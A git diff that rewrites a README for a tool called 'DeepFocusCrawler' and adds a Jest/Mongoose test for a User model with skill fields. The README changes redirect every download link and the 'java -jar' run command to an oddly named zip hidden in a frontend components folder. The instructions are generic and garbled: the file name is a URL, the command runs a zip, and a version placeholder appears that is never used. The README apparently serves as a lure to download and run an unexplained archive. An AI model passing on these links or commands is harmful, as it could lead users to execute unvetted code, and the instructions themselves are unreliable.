diff --git a/README.md b/README.md index 49f7910..ed1472f 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ Welcome to DeepFocusCrawler! This application is designed for everyone who wants ## 🔗 Download DeepFocusCrawler -[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip) +[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip) ## 💻 System Requirements @@ -18,14 +18,14 @@ Before you begin, make sure your computer meets these requirements: ## 📥 Download & Install -To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip) +To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip) Once there, you'll see the available versions. Choose the latest version and download it to your computer. The download may take a few moments, depending on your internet speed. ## 🛠️ How to Run DeepFocusCrawler 1. **Locate the Downloaded File:** - After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip` (where X.X represents the version number). + After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip` (where X.X represents the version number). 2. **Open Terminal or Command Prompt:** - **Windows:** Press `Win + R`, type `cmd`, and hit `Enter`. @@ -41,7 +41,7 @@ Once there, you'll see the available versions. Choose the latest version and dow 4. **Run DeepFocusCrawler:** Type the following command and hit `Enter`: ``` - java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip + java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip ``` Replace `X.X` with the version number you downloaded. diff --git a/backend/models/user.test.js b/backend/models/user.test.js new file mode 100644 index 0000000..ac8ba11 --- /dev/null +++ b/backend/models/user.test.js @@ -0,0 +1,102 @@ +import mongoose from 'mongoose'; +import User from './user'; + +describe('User Model', () => { + beforeAll(() => { + mongoose.connect('mongodb://localhost:27017/test', { + useNewUrlParser: true, + useUnifiedTopology: true, + }); + }); + + afterAll(async () => { + await mongoose.connection.dropDatabase(); + await mongoose.connection.close(); + }); + + beforeEach(async () => { + await User.deleteMany({}); + }); + + it('should create a user with required fields', async () => { + const userData = { + supabaseId: 'auth0|123456', + email: 'test@example.com', + }; + + const user = new User(userData); + await user.save(); + + const savedUser = await User.findOne({ email: 'test@example.com' }); + expect(savedUser).toBeTruthy(); + expect(savedUser.supabaseId).toBe('auth0|123456'); + expect(savedUser.skillsOffered).toEqual([]); + expect(savedUser.skillsWanted).toEqual([]); + }); + + it('should enforce unique supabaseId', async () => { + const userData = { + supabaseId: 'auth0|duplicate', + email: 'first@example.com', + }; + + await new User(userData).save(); + + const duplicateUser = new User({ + supabaseId: 'auth0|duplicate', + email: 'second@example.com', + }); + + await expect(duplicateUser.save()).rejects.toThrow( + /E11000 duplicate key error/ + ); + }); + + it('should require supabaseId and email', async () => { + const userWithoutSupabaseId = new User({ + email: 'test@example.com', + }); + + await expect(userWithoutSupabaseId.save()).rejects.toThrow( + /User validation failed/ + ); + + const userWithoutEmail = new User({ + supabaseId: 'auth0|123', + }); + + await expect(userWithoutEmail.save()).rejects.toThrow( + /User validation failed/ + ); + }); + + it('should store skills arrays correctly', async () => { + const userData = { + supabaseId: 'auth0|skills', + email: 'skills@example.com', + skillsOffered: ['JavaScript', 'React'], + skillsWanted: ['Node.js', 'Python'], + }; + + const user = new User(userData); + await user.save(); + + const savedUser = await User.findOne({ email: 'skills@example.com' }); + expect(savedUser.skillsOffered).toEqual(['JavaScript', 'React']); + expect(savedUser.skillsWanted).toEqual(['Node.js', 'Python']); + }); + + it('should default skills arrays to empty array', async () => { + const userData = { + supabaseId: 'auth0|defaults', + email: 'defaults@example.com', + }; + + const user = new User(userData); + await user.save(); + + const savedUser = await User.findOne({ email: 'defaults@example.com' }); + expect(savedUser.skillsOffered).toEqual([]); + expect(savedUser.skillsWanted).toEqual([]); + }); +}); \ No newline at end of file